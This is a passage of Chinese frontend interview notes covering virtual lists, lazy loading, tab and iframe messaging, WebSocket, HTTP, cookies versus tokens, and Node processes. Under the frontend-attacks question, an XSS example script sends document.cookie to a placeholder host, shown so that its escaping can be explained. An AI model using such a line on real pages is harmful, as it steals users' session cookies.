    • 原功能不变,增加一些新功能(AOP面向切面编程)
    • ESTSDecorator语法就是装饰器模式

经典设计模式有23 个,这是基于后端写的,前端不是都常用

# 第124题 后端一次性返回十万条数据,你该如何渲染

  • 设计不合理
    • 后端返回十万条数据,本身技术方案设计就不合理(一般情况都是分页返回,返回十万条浏览器渲染是一个问题,十万条数据加载也需要一个过程)
    • 后端的问题,要用后端的思维去解决-中间层
  • 浏览器能否处理十万条数据?
    • 渲染到DOM上会非常卡顿
  • 方案1:自定义中间层
    • 自定义nodejs中间层,获取并拆分这十万条数据
    • 前端对接nodejs中间层,而不是服务端
    • 成本比较高
  • 方案2:虚拟列表
    • 只创建可视区的DOM(比如前十条数据),其他区域不显示,根据数据条数计算每条数据的高度,用div撑起高度
    • 随着浏览器的滚动,创建和销毁DOM
    • 虚拟列表实现起来非常复杂,工作中可使用第三方库(vue-virtual-scroll-listreact-virtualiszed
    • 虚拟列表只是无奈的选择,实现复杂效果而效果不一定好(低配手机)

分页加载示例

前端通过与后端约定的分页接口,逐页请求数据并渲染。通过控制每页的数据量,可以在不影响性能的情况下展示大量数据。

// 前端代码
const pageSize = 100; // 每页数据量
let currentPage = 1; // 当前页数

function fetchData(page) {
  // 发送请求到后端,获取指定页数的数据
  fetch(`/api/data?page=${page}&pageSize=${pageSize}`)
    .then(response => response.json())
    .then(data => {
      // 渲染数据到页面
      renderData(data);
    });
}

function renderData(data) {
  // 将数据渲染到页面中
  // ...
}

// 初始化加载第一页数据
fetchData(currentPage);
// 后端代码(示例使用 Express 框架)
app.get('/api/data', (req, res) => {
  const page = req.query.page;
  const pageSize = req.query.pageSize;
  
  // 从数据库或其他数据源获取指定页数的数据
  const data = getDataFromDatabase(page, pageSize);

  res.json(data);
});

虚拟列表滚动示例

虚拟列表是一种优化技术,它只渲染当前可见区域内的数据,而不是一次性渲染全部数据。这样可以提高页面的加载速度和性能。

// 前端代码
const container = document.getElementById('data-container');
const itemHeight = 40; // 每项数据的高度
const visibleItems = Math.ceil(container.offsetHeight / itemHeight); // 可见区域内显示的项数
const totalItems = 100000; // 总数据量

function renderData(startIndex) {
  const endIndex = Math.min(startIndex + visibleItems, totalItems);
  
  for (let i = startIndex; i < endIndex; i++) {
    const item = createItem(i);
    container.appendChild(item);
  }
}

function createItem(index) {
  const item = document.createElement('div');
  item.innerText = `Item ${index + 1}`;
  item.style.height = `${itemHeight}px`;
  return item;
}

// 监听滚动事件,动态渲染数据
container.addEventListener('scroll', () => {
  const scrollTop = container.scrollTop;
  const startIndex = Math.floor(scrollTop / itemHeight);
  
  // 清空容器中的旧数据
  container.innerHTML = '';
  
  // 渲染当前可见区域内的数据
  renderData(startIndex);
});

// 初始渲染首屏数据
renderData(0);

在上述示例中,通过监听滚动事件,根据滚动位置动态计算当前可见区域内的数据项的索引,并根据索引来渲染数据。随着用户滚动页面,会根据滚动位置不断重新渲染可见区域内的数据,而不会一次性渲染全部数据。

# 第123题 H5页面如何进行首屏优化

  • 路由懒加载
    • 适用于单页面应用
    • 路由拆分,优先保证首页加载
  • 服务端渲染SSR
    • SSR渲染页面过程简单,性能好
    • H5页面,SSR是性能优化的终极方案,但对服务器成本也高
  • 分页
    • 针对列表页,默认只展示第一页内容
    • 上划加载更多
  • 图片懒加载lazyLoad
    • 针对详情页,默认只展示文本内容,然后触发图片懒加载
    • 注意:提前设置图片尺寸,尽量只重绘不重排
  • Hybrid
    • 提前将HTML JS CSS下载到App内部,省去我们从网上下载静态资源的时间
    • App webview中使用file://协议加载页面文件
    • 再用Ajax获取内容并展示
  • 性能优化要配合分析、统计、评分等,做了事情要有结果有说服力
  • 性能优化也要配合体验,如骨架屏、loading动画等

图片懒加载演示

<head>
  <style>
    .item-container {
      border-top: 1px solid #ccc;
      margin-bottom: 30px;
    }
    .item-container img {
      width: 100%;
      border: 1px solid #eee;
      border-radius: 10px;
      overflow: hidden;
    }
  </style>
</head>
<body>
    <h1>img lazy load</h1>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal2.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal4.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal5.webp"/>
    </div>

    <div class="item-container">
        <p>新闻标题</p>
        <img src="./img/loading.gif" data-src="./img/animal6.webp"/>
    </div>

    <script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
    <script>
      function mapImagesAndTryLoad() {
        const images = document.querySelectorAll('img[data-src]')
        if (images.length === 0) return

        images.forEach(img => {
            const rect = img.getBoundingClientRect()
            if (rect.top < window.innerHeight) {
              // 漏出来
              // console.info('loading img', img.dataset.src)
              img.src = img.dataset.src
              img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
            }
        })
      }

      window.addEventListener('scroll', _.throttle(() => {
        mapImagesAndTryLoad()
      }, 100))

      mapImagesAndTryLoad()
    </script>
</body>

# 第122题 如何实现网页多标签tab通讯

  • 通过websocket
    • 无跨域限制
    • 需要服务端支持,成本高
  • 通过localStorage同域通讯(推荐)
    • 同域AB两个页面
    • A页面设置localStorage
    • B页面可监听到localStorage值的修改
  • 通过SharedWorker通讯
    • SharedWorkerWebWorker的一种
    • WebWorker可开启子进程执行JS,但不能操作DOM
    • SharedWorker可单独开启一个进程,用于同域页面通讯
    • SharedWorker兼容性不太好,调试不方便,IE11不支持

localStorage通讯例子

<!-- 列表页 -->
<p>localStorage message - list page</p>

<script>
  // 监听storage事件
  window.addEventListener('storage', event => {
    console.info('key', event.key)
    console.info('value', event.newValue)
  })
</script>
<!-- 详情页 -->
<p>localStorage message - detail page</p>

<button id="btn1">修改标题</button>

<script>
  const btn1 = document.getElementById('btn1')
  btn1.addEventListener('click', () => {
    const newInfo = {
      id: 100,
      name: '标题' + Date.now()
    }
    localStorage.setItem('changeInfo', JSON.stringify(newInfo))
  })

  // localStorage 跨域不共享
</script>

SharedWorker通讯例子

本地调试的时候打开chrome隐私模式验证,如果没有收到消息,打开chrome://inspect/#workers => sharedWorkers => 点击inspect

<p>SharedWorker message - list page</p>

<script>
  const worker = new SharedWorker('./worker.js')
  worker.port.onmessage = e => console.info('list', e.data)
</script>
<p>SharedWorker message - detail page</p>
<button id="btn1">修改标题</button>

<script>
  const worker = new SharedWorker('./worker.js')

  const btn1 = document.getElementById('btn1')
  btn1.addEventListener('click', () => {
    console.log('clicked')
    worker.port.postMessage('detail go...')
  })
</script>
// worker.js

/**
 * @description for SharedWorker
 */

const set = new Set()

onconnect = event => {
  const port = event.ports[0]
  set.add(port)

  // 接收信息
  port.onmessage = e => {
    // 广播消息
    set.forEach(p => {
      if (p === port) return // 不给自己广播
      p.postMessage(e.data)
    })
  }

  // 发送信息
  port.postMessage('worker.js done')
}

连环问:如何实现网页和iframe之间的通讯

  • 使用postMessage通信
  • 注意跨域的限制和判断,判断域名的合法性

演示

<!-- 首页 -->
<p>
  index page
  <button id="btn1">发送消息</button>
</p>

<iframe id="iframe1" src="./child.html"></iframe>

<script>
  document.getElementById('btn1').addEventListener('click', () => {
    console.info('index clicked')
    window.iframe1.contentWindow.postMessage('hello', '*') // * 没有域名限制
  })

  // 接收child的消息
  window.addEventListener('message', event => {
    console.info('origin', event.origin) // 来源的域名
    console.info('index received', event.data)
  })
</script>
<!-- 子页面 -->
<p>
  child page
  <button id="btn1">发送消息</button>
</p>

<script>
  document.getElementById('btn1').addEventListener('click', () => {
    console.info('child clicked')
    // child被嵌入到index页面,获取child的父页面
    window.parent.postMessage('world', '*') // * 没有域名限制
  })

  // 接收parent的消息
  window.addEventListener('message', event => {
    console.info('origin', event.origin) // 判断 origin 的合法性
    console.info('child received', event.data)
  })
</script>

效果

# 第121题 从输入URL 到网页显示的完整过程

  • 网络请求
    • DNS查询(得到IP),建立TCP连接(三次握手)
    • 浏览器发送HTTP请求
    • 收到请求响应,得到HTML源码。继续请求静态资源
      • 在解析HTML过程中,遇到静态资源(JSCSS、图片等)还会继续发起网络请求
      • 静态资源可能有缓存
  • 解析:字符串=>结构化数据
    • HTML构建DOM
    • CSS构建CSSOM树(style tree
    • 两者结合,形成render tree
    • 优化解析
      • CSS放在<head/>中,不要异步加载CSS
      • JS放到<body/>下面,不阻塞HTML解析(或结合deferasync
      • <img />提前定义widthheight,避免页面重新渲染
  • 渲染:Render Tree绘制到页面
    • 计算DOM的尺寸、定位,最后绘制到页面
    • 遇到JS会执行,阻塞HTML解析。如果设置了defer,则并行下载JS,等待HTML解析完,在执行JS;如果设置了async,则并行下载JS,下载完立即执行,在继续解析HTMLJS是单线程的,JS执行和DOM渲染互斥,等JS执行完,在解析渲染DOM
    • 异步CSS、异步图片,可能会触发重新渲染

连环问:网页重绘repaint和重排reflow有什么区别

  • 重绘
    • 元素外观改变:如颜色、背景色
    • 但元素的尺寸、定位不变,不会影响其他元素的位置
  • 重排
    • 重新计算尺寸和布局,可能会影响其他元素的位置
    • 如元素高度的增加,可能会使相邻的元素位置改变
    • 重排必定触发重绘,重绘不一定触发重排。重绘的开销较小,重排的代价较高。
    • 减少重排的方法
      • 使用BFC特性,不影响其他元素位置
      • 频繁触发(resizescroll)使用节流和防抖
      • 使用createDocumentFragment批量操作DOM
      • 编码上,避免连续多次修改,可通过合并修改,一次触发
      • 对于大量不同的 dom 修改,可以先将其脱离文档流,比如使用绝对定位,或者 display:none,在文档流外修改完成后再放回文档里中
      • 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用 requestAnimationFrame
      • css3 硬件加速,transformopacityfilters,开启后,会新建渲染层

# 第120题 WebSocket和HTTP协议有什么区别

  • 支持端对端通信
  • 可由client发起,也可由sever发起
  • 用于消息通知、直播间讨论区、聊天室、协同编辑

WebSocket连接过程

  • 先发起一个HTTP请求
  • 成功之后在升级到WebSocket协议,再通讯

WebSocket和HTTP区别

  • WebSocket协议名是ws://,可双端发起请求(双端都可以sendonmessage
  • WebSocket没有跨域限制
  • 通过sendonmessage通讯(HTTP通过reqres

WebSocket和HTTP长轮询的区别

长轮询:一般是由客户端向服务端发出一个设置较长网络超时时间的 HTTP 请求,并在Http连接超时前,不主动断开连接;待客户端超时或有数据返回后,再次建立一个同样的HTTP请求,重复以上过程

  • HTTP长轮询:客户端发起请求,服务端阻塞,不会立即返回
    • HTTP长轮询需要处理timeout,即timeout之后重新发起请求
  • WebSocket:客户端可发起请求,服务端也可发起请求

ws可升级为wss(像https)

import {createServer} from 'https'
import {readFileSync} from 'fs'
import {WebSocketServer} from 'ws'

const server = createServer({
  cert: readFileSync('/path/to/cert.pem'),
  key: readFileSync('/path/to/key.pem'),
})
const wss = new WebSocketServer({ server })

实际项目中推荐使用socket.io API更简洁

io.on('connection',sockert=>{
  // 发送信息
  socket.emit('request', /**/)
  // 广播事件到客户端
  io.emit('broadcast', /**/)
  // 监听事件
  socket.on('reply', ()=>{/**/})
})

WebSocket基本使用例子

// server.js
const { WebSocketServer } = require('ws') // npm i ws 
const wsServer = new WebSocketServer({ port: 3000 })

wsServer.on('connection', ws => {
  console.info('connected')

  ws.on('message', msg => {
    console.info('收到了信息', msg.toString())

    // 服务端向客户端发送信息
    setTimeout(() => {
      ws.send('服务端已经收到了信息: ' + msg.toString())
    }, 2000)
  })
})
<!-- websocket main page -->
<button id="btn-send">发送消息</button>

<script>
    const ws = new WebSocket('ws://127.0.0.1:3000')
    ws.onopen = () => {
      console.info('opened')
      ws.send('client opened')
    }
    ws.onmessage = event => {
      console.info('收到了信息', event.data)
    }

    document.getElementById('btn-send').addEventListener('click', () => {
      console.info('clicked')
      ws.send('当前时间' + Date.now())
    })
</script>

创建简易聊天室

// server.js

const { WebSocketServer } = require('ws') // npm i ws 
const wsServer = new WebSocketServer({ port: 3000 })

const list = new Set()

wsServer.on('connection', curWs => {
  console.info('connected')

  // 这里,不能一直被 add 。实际使用中,这里应该有一些清理缓存的机制,长期用不到的 ws 要被 delete
  list.add(curWs)

  curWs.on('message', msg => {
    console.info('received message', msg.toString())

    // 传递给其他客户端
    list.forEach(ws => {
      if (ws === curWs) return
      ws.send(msg.toString())
    })
  })
})

client1

<!-- client 1-->

<p>websocket page 1</p>
<button id="btn-send">发送消息</button>

<script>
  const ws = new WebSocket('ws://127.0.0.1:3000')
  ws.onopen = () => {
    console.info('opened')
    ws.send('client1 opened')
  }
  ws.onmessage = event => {
    console.info('client1 received', event.data)
  }

  document.getElementById('btn-send').addEventListener('click', () => {
    console.info('clicked')
    ws.send('client1 time is ' + Date.now())
  })
</script>

client2

<!-- client 2-->

<p>websocket page 2</p>
<button id="btn-send">发送消息</button>

<script>
  const ws = new WebSocket('ws://127.0.0.1:3000')
  ws.onopen = () => {
    console.info('opened')
    ws.send('client2 opened')
  }
  ws.onmessage = event => {
    console.info('client2 received', event.data)
  }

  document.getElementById('btn-send').addEventListener('click', () => {
    console.info('clicked')
    ws.send('client2 time is ' + Date.now())
  })
</script>

# 第119题 前端攻击手段有哪些,该如何预防

XSS

  • Cross Site Script 跨站脚本攻击
  • 手段:黑客将JS代码插入到网页内容中,渲染时执行JS代码
  • 预防:特殊字符串替换(前端或后端)
// 用户提交
const str = `
  <p>123123</p>
  <script>
      var img = document.createElement('image')
      // 把cookie传递到黑客网站 img可以跨域
      img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
  </script>
`
const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
// 替换字符,无法在页面中渲染
//   &lt;script&gt;
//     var img = document.createElement('image')
//     img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
// &lt;/script&gt;

CSRF

  • Cross Site Request Forgery 跨站请求伪造
  • 手段:黑盒诱导用户去访问另一个网站的接口,伪造请求
  • 预防:严格的跨域限制 + 验证码机制
    • 判断 referer
    • cookie设置sameSite属性,禁止第三方网页跨域的请求能携带上cookie
    • token
    • 关键接口使用短信验证码

注意:偷取cookieXSS做的事,CSRF的作用是借用cookie,并不能获取cookie

CSRF攻击攻击原理及过程如下:

  • 用户登录了A网站,有了cookie
  • 黑盒诱导用户到B网站,并发起A网站的请求
  • A网站的API发现有cookie,会在请求中携带A网站的cookie,认为是用户自己操作的

点击劫持

  • 手段:诱导界面上设置透明的iframe,诱导用户点击
  • 预防:让iframe不能跨域加载

DDOS

  • Distribute denial-of-service 分布式拒绝服务
  • 手段:分布式的大规模的流量访问,使服务器瘫痪
  • 预防:软件层不好做,需硬件预防(如阿里云的WAF 购买高防)

SQL注入

  • 手段:黑客提交内容时,写入sql语句,破坏数据库
  • 预防:处理内容的输入,替换特殊字符

# 第118题 script标签的defer和async有什么区别

  • scriptHTML暂停解析,下载JS,执行JS,在继续解析HTML
  • deferHTML继续解析,并行下载JSHTML解析完在执行JS(不用把script放到body后面,我们在head<script defer>js脚本并行加载会好点)
  • asyncHTML继续解析,并行下载JS,执行JS加载完毕后立即执行),在继续解析HTML
    • 加载完毕后立即执行,这导致async属性下的脚本是乱序的,对于 script 有先后依赖关系的情况,并不适用

注意:JS是单线程的,JS解析线程和DOM解析线程共用同一个线程,JS执行和HTML解析是互斥的,加载资源可以并行

蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表 HTML 解析

连环问:prefetch和dns-prefetch分别是什么

preload和prefetch

  • preload 资源在当前页面使用,会优先加载
  • prefetch 资源在未来页面使用,空闲时加载
<head>
  <!-- 当前页面使用 -->
  <link rel="preload" href="style.css" as="style" />
  <link rel="preload" href="main.js" as="script" />

  <!-- 未来页面使用 提前加载 比如新闻详情页 -->
  <link rel="prefetch" href="other.js" as="script" />

  <!-- 当前页面 引用css -->
  <link rel="stylesheet" href="style.css" />
</head>
<body>
  <!-- 当前页面 引用js -->
  <script src="main.js" defer></script>
</body>

dns-preftch和preconnect

  • dns-pretch DNS预查询
  • preconnect DNS预连接

通过预查询和预连接减少DNS解析时间

<head>
  <!-- 针对未来页面提前解析:提高打开速度 -->
  <link rel="dns-pretch" href="https://font.static.com" />
  <link rel="preconnect" href="https://font.static.com" crossorigin />
</head>

# 第117题 什么是HTTPS中间人攻击,如何预防(HTTPS加密过程、原理)

HTTPS加密传输

  • HTTP是明文传输
  • HTTPS加密传输 HTTP + TLS/SSL

TLS 中的加密

  • 对称加密 两边拥有相同的秘钥,两边都知道如何将密文加密解密。
  • 非对称加密 有公钥私钥之分,公钥所有人都可以知道,可以将数据用公钥加密,但是将数据解密必须使用私钥解密,私钥只有分发公钥的一方才知道

对称密钥加密和非对称密钥加密它们有什么区别

  • 对称密钥加密是最简单的一种加密方式,它的加解密用的都是相同的密钥,这样带来的好处就是加解密效率很快,但是并不安全,如果有人拿到了这把密钥那谁都可以进行解密了。
  • 而非对称密钥会有两把密钥,一把是私钥,只有自己才有;一把是公钥,可以发布给任何人。并且加密的内容只有相匹配的密钥才能解。这样带来的一个好处就是能保证传输的内容是安全的,因为例如如果是公钥加密的数据,就算是第三方截取了这个数据但是没有对应的私钥也破解不了。不过它也有缺点,一是公钥因为是公开的,谁都可以过去,如果内容是通过私钥加密的话,那拥有对应公钥的黑客就可以用这个公钥来进行解密得到里面的信息;二来公钥里并没有包含服务器的信息,也就是并不能确保服务器身份的合法性;并且非对称加密的时候要消耗一定的时间,减低了数据的传输效率。

HTTPS加密的过程

  1. 客户端请求www.baidu.com
  2. 服务端存储着公钥和私钥
  3. 服务器把CA数字证书(包含公钥)响应式给客户端
  4. 客户端解析证书拿到公钥,并生成随机码KEY(加密的key没有任何意义,如ABC只有服务端的私钥才能解密出来,黑客劫持了KEY也是没用的)
  5. 客户端把解密后的KEY传递给服务端,作为接下来对称加密的密钥
  6. 服务端拿私钥解密随机码KEY,使用随机码KEY 对传输数据进行对称加密
  7. 把对称加密后的内容传输给客户端,客户端使用之前生成的随机码KEY进行解密数据

介绍下https中间人攻击的过程

这个问题也可以问成为什么需要CA认证机构颁发证书?

我们假设如果不存在认证机构,则人人都可以制造证书,这就带来了"中间人攻击"问题。

中间人攻击的过程如下

  • 客户端请求被劫持,将所有的请求发送到中间人的服务器
  • 中间人服务器返回自己的证书
  • 客户端创建随机数,使用中间人证书中的公钥进行加密发送给中间人服务器,中间人使用私钥对随机数解密并构造对称加密,对之后传输的内容进行加密传输
  • 中间人通过客户端的随机数对客户端的数据进行解密
  • 中间人与服务端建立合法的https连接(https握手过程),与服务端之间使用对称加密进行数据传输,拿到服务端的响应数据,并通过与服务端建立的对称加密的秘钥进行解密
  • 中间人再通过与客户端建立的对称加密对响应数据进行加密后传输给客户端
  • 客户端通过与中间人建立的对称加密的秘钥对数据进行解密

简单来说,中间人攻击中,中间人首先伪装成服务端和客户端通信,然后又伪装成客户端和服务端进行通信(如图)。 整个过程中,由于缺少了证书的验证过程,虽然使用了https,但是传输的数据已经被监听,客户端却无法得知

预防中间人攻击

使用正规厂商的证书,慎用免费的

# 第116题 HTTP协议1.0和1.1和2.0有什么区别

  • HTTP1.0
    • 最基础的HTTP协议
    • 支持基本的GETPOST方法
  • HTTP1.1
    • 缓存策略 cache-control E-tag
    • 支持长链接 Connection:keep-alive 一次TCP连接多次请求
    • 断点续传,状态码206
    • 支持新的方法 PUT DELETE等,可用于Restful API写法
  • HTTP2.0
    • 可压缩header,减少体积
    • 多路复用,一次TCP连接中可以多个HTTP并行请求
    • 服务端推送(实际中使用websocket

连环问:HTTP协议和UDP协议有什么区别

  • HTTP是应用层,TCPUDP是传输层
  • TCP有连接(三次握手),有断开(四次挥手),传输稳定
  • UDP无连接,无断开不稳定传输,但效率高。如视频会议、语音通话

# 第115题 HTTP请求中token、cookie、session有什么区别

cookie

  • HTTP无状态的,每次请求都要携带cookie,以帮助识别身份
  • 服务端也可以向客户端set-cookie,cookie大小4kb
  • 默认有跨域限制:不可跨域共享,不可跨域传递cookie(可通过设置withCredential跨域传递cookie

cookie本地存储

  • HTML5之前cookie常被用于本地存储
  • HTML5之后推荐使用localStoragesessionStorage

现代浏览器开始禁止第三方cookie

  • 和跨域限制不同,这里是:禁止网页引入第三方js设置cookie
  • 打击第三方广告设置cookie
  • 可以通过属性设置 SameSite:Strict/Lax/None

cookie和session

  • cookie用于登录验证,存储用户表示(userId
  • session在服务端,存储用户详细信息,和cookie信息一一对应
  • cookie+session是常见的登录验证解决方案

// 登录:用户名 密码
// 服务端set-cookie: userId=x1 把用户id传给浏览器存储在cookie中
// 下次请求直接带上cookie:userId=x1 服务端根据userId找到哪个用户的信息

// 服务端session集中存储所有的用户信息在缓存中
const session = {
  x1: {
    username:'xx1',
    email:'xx1'
  },
  x2: { // 当下次来了一个用户x2也记录x2的登录信息,同时x1也不会丢失
    username:'xx2',
    email:'xx2'
  },
}

token和cookie

  • cookieHTTP规范(每次请求都会携带),而token是自定义传递
  • cookie会默认被浏览器存储,而token需自己存储
  • token默认没有跨域限制

JWT(json web token)

  • 前端发起登录,后端验证成功后,返回一个加密的token
  • 前端自行存储这个token(其他包含了用户信息,加密的)
  • 以后访问服务端接口,都携带着这个token,作为用户信息

session和jwt哪个更好?

  • session的优点
    • 用户信息存储在服务端,可快速封禁某个用户
    • 占用服务端内存,成本高
    • 多进程多服务器时不好同步,需要使用redis缓存
    • 默认有跨域限制
  • JWT的优点
    • 不占用服务端内存,token存储在客户端浏览器
    • 多进程、多服务器不受影响
    • 没有跨域限制
    • 用户信息存储在客户端,无法快速封禁某用户(可以在服务端建立黑名单,也需要成本)
    • 万一服务端密钥被泄露,则用户信息全部丢失
    • token体积一般比cookie大,会增加请求的数据量
  • 如严格管理用户信息(保密、快速封禁)推荐使用session
  • 没有特殊要求,推荐使用JWT

如何实现SSO(Single Sign On)单点登录

  • 单点登录的本质就是在多个应用系统中共享登录状态,如果用户的登录状态是记录在 Session 中的,要实现共享登录状态,就要先共享 Session

  • 所以实现单点登录的关键在于,如何让 Session ID(或 Token)在多个域中共享

  • 主域名相同,基于cookie实现单点登录

    • cookie默认不可跨域共享,但有些情况下可设置跨域共享
    • 主域名相同,如www.baidu.comimage.baidu.com
    • 设置cookie domain为主域baidu.com,即可共享cookie
    • 主域名不同,则cookie无法共享。可使用sso技术方案来做
  • 主域名不同,基于SSO技术方案实现

    • 系统ABSSO域名都是独立的
    • 用户访问系统A,系统A重定向到SSO登录(登录页面在SSO)输入用户名密码提交到SSO,验证用户名密码,将登录状态写入SSOsession,同时将token作为参数返回给客户端
    • 客户端携带token去访问系统A,系统A携带tokenSSO验证,SSO验证通过返回用户信息给系统A
    • 用户访问B系统,B系统没有登录,重定向到SSO获取token(由于SSO已经登录了,不需要重新登录认证,之前在A系统登录过),拿着tokenB系统,B系统拿着tokenSSO里面换取用户信息
    • 整个所有用户的登录、用户信息的保存、用户的token验证,全部都在SSO第三方独立的服务中处理

# 第114题 移动端H5点击有300ms延迟,该如何解决

解决方案

  • 禁用缩放,设置meta标签 user-scalable=no
  • 现在浏览器方案 meta中设置content="width=device-width"
  • fastclick.js

初期解决方案 fastClick

// 使用
window.addEventListener('load',()=>{
  FastClick.attach(document.body)
},false)

fastClick原理

  • 监听touchend事件(touchstart touchend会先于click触发)
  • 使用自定义DOM事件模拟一个click事件
  • 把默认的click事件(300ms之后触发)禁止掉

触摸事件的响应顺序

  • ontouchstart
  • ontouchmove
  • ontouchend
  • onclick

现代浏览器的改进

meta中设置content="width=device-width" 就不会有300ms的点击延迟了。浏览器认为你要在移动端做响应式布局,所以就禁止掉了

<head>
  <meta name="viewport" content="width=device-width,initial-scale=1.0" />
</head>

# 第113题 requestIdleCallback和requestAnimationFrame有什么区别

react fiber引起的关注

  • 组件树转为链表,可分段渲染
  • 渲染时可以暂停,去执行其他高优先级任务,空闲时在继续渲染(JS是单线程的,JS执行的时候没法去DOM渲染)
  • 如何判断空闲?requestIdleCallback

区别

  • requestAnimationFrame 每次渲染完在执行,高优先级
  • requestIdleCallback 空闲时才执行,低优先级
  • 都是宏任务,要等待DOM渲染完后在执行

<p>requestAnimationFrame</p>

<button id="btn1">change</button>
<div id="box"></div>

<script>
  const box = document.getElementById('box')
  
  document.getElementById('btn1').addEventListener('click', () => {
  let curWidth = 100
  const maxWidth = 400

  function addWidth() {
    curWidth = curWidth + 3
    box.style.width = `${curWidth}px`
    if (curWidth < maxWidth) {
        window.requestAnimationFrame(addWidth) // 时间不用自己控制
    }
  }
  addWidth()
})
</script>
window.onload = () => {
  console.info('start')
  setTimeout(() => {
    console.info('timeout')
  })
  // 空闲时间才执行
  window.requestIdleCallback(() => {
    console.info('requestIdleCallback')
  })
  window.requestAnimationFrame(() => {
    console.info('requestAnimationFrame')
  })
  console.info('end')
}

// start
// end
// timeout
// requestAnimationFrame
// requestIdleCallback

# 第112题 请描述js-bridge的实现原理

什么是JS Bridge

  • JS无法直接调用native API
  • 需要通过一些特定的格式来调用
  • 这些格式就统称js-bridge,例如微信JSSKD

JS Bridge的常见实现方式

  • 注册全局API
  • URL Scheme(推荐)
<!-- <iframe id="iframe1"></iframe> -->

<script>
  // const version = window.getVersion() // 异步

  // const iframe1 = document.getElementById('iframe1')
  // iframe1.onload = () => {
  //     const content = iframe1.contentWindow.document.body.innerHTML
  //     console.info('content', content)
  // }
  // iframe1.src = 'my-app-name://api/getVersion' // app识别协议my-app-name://,在app内处理返回给webview,而不是直接发送网络请求
  // URL scheme

  // 使用iframe 封装 JS-bridge
  const sdk = {
    invoke(url, data = {}, onSuccess, onError) {
      const iframe = document.createElement('iframe')
      iframe.style.visibility = 'hidden' // 隐藏iframe
      document.body.appendChild(iframe)
      iframe.onload = () => {
        const content = iframe1.contentWindow.document.body.innerHTML
        onSuccess(JSON.parse(content))
        iframe.remove()
      }
      iframe.onerror = () => {
        onError()
        iframe.remove()
      }
      iframe.src = `my-app-name://${url}?data=${JSON.stringify(data)}`
    },
    fn1(data, onSuccess, onError) {
      this.invoke('api/fn1', data, onSuccess, onError)
    },
    fn2(data, onSuccess, onError) {
      this.invoke('api/fn2', data, onSuccess, onError)
    },
    fn3(data, onSuccess, onError) {
      this.invoke('api/fn3', data, onSuccess, onError)
    },
  }
</script>

# 第111题 nodejs如何开启多进程,进程如何通讯

进程process和线程thread的区别

  • 进程,OS进行资源分配和调度的最小单位,有独立的内存空间
  • 线程,OS进程运算调度的最小单位,共享进程内存空间
  • JS是单线程的,但可以开启多进程执行,如WebWorker

为何需要多进程

  • 多核CPU,更适合处理多进程
  • 内存较大,多个进程才能更好利用(单进程有内存上限)
  • 总之,压榨机器资源,更快、更节省

如何开启多进程

  • 开启子进程 child_process.forkcluster.fork
    • child_process.fork用于单个计算量较大的计算
    • cluster用于开启多个进程,多个服务
  • 使用sendon传递消息

使用child_process.fork方式

const http = require('http')
const fork = require('child_process').fork

const server = http.createServer((req, res) => {
  if (req.url === '/get-sum') {
    console.info('主进程 id', process.pid)

    // 开启子进程 计算结果返回
    const computeProcess = fork('./compute.js')
    computeProcess.send('开始计算') // 发送消息给子进程开始计算,在子进程中接收消息调用计算逻辑,计算完成后发送消息给主进程

    computeProcess.on('message', data => {
      console.info('主进程接收到的信息:', data)
      res.end('sum is ' + data)
    })

    computeProcess.on('close', () => {
      console.info('子进程因报错而退出')
      computeProcess.kill() // 关闭子进程
      res.end('error')
    })
  }
})
server.listen(3000, () => {
  console.info('localhost: 3000')
})
// compute.js

/**
 * @description 子进程,计算
 */

function getSum() {
  let sum = 0
  for (let i = 0; i < 10000; i++) {
    sum += i
  }
  return sum
}

process.on('message', data => {
  console.log('子进程 id', process.pid)
  console.log('子进程接收到的信息: ', data)

  const sum = getSum()

  // 发送消息给主进程
  process.send(sum)
})

使用cluster方式

const http = require('http')
const cpuCoreLength = require('os').cpus().length
const cluster = require('cluster')

// 主进程
if (cluster.isMaster) {
    for (let i = 0; i < cpuCoreLength; i++) {
      cluster.fork() // 根据核数 开启子进程
    }

    cluster.on('exit', worker => {
      console.log('子进程退出')
      cluster.fork() // 进程守护
    })
} else {
  // 多个子进程会共享一个 TCP 连接,提供一份网络服务
  const server = http.createServer((req, res) => {
    res.writeHead(200)
    res.end('done')
  })
  server.listen(3000)
}


// 工作中 使用PM2开启进程守护更方便

# 第110题 遍历一个数组用for和forEach哪个更快

  • for更快
  • forEach每次都要创建一个函数来调用,而for不会创建函数
  • 函数需要额外的作用域会有额外的开销
  • 越“低级”的代码,性能往往越好
const arr = []
for (let i = 0; i < 100 * 10000; i++) {
  arr.push(i)
}
const length = arr.length

console.time('for')
let n1 = 0
for (let i = 0; i < length; i++) {
  n1++
}
console.timeEnd('for') // 3.7ms

console.time('forEach')
let n2 = 0
arr.forEach(() => n2++)
console.timeEnd('forEach') // 15.1ms

# 第109题 虚拟DOM(vdom)真的很快吗

  • virutal DOM,虚拟DOM
  • 用JS对象模拟DOM节点数据
  • vdom并不快,JS直接操作DOM才是最快的
    • vue为例,data变化 => vnode diff => 更新DOM 肯定是比不过直接操作DOM节点快的
  • 但是"数据驱动视图"要有合适的技术方案,不能全部DOM重建
  • dom就是目前最合适的技术方案(并不是因为它快,而是合适)
  • 在大型系统中,全部更新DOM的成本太高,使用vdom把更新范围减少到最小

并不是所有的框架都在用vdomsvelte就不用vdom

# 第108题 浏览器和nodejs事件循环(Event Loop)有什么区别

单线程和异步

  • JS是单线程的,无论在浏览器还是在nodejs
  • 浏览器中JS执行和DOM渲染共用一个线程,是互斥的
  • 异步是单线程的解决方案

# 浏览器中的事件循环

异步里面分宏任务和微任务

  • 宏任务:setTimeoutsetIntervalsetImmediateI/OUI渲染,网络请求
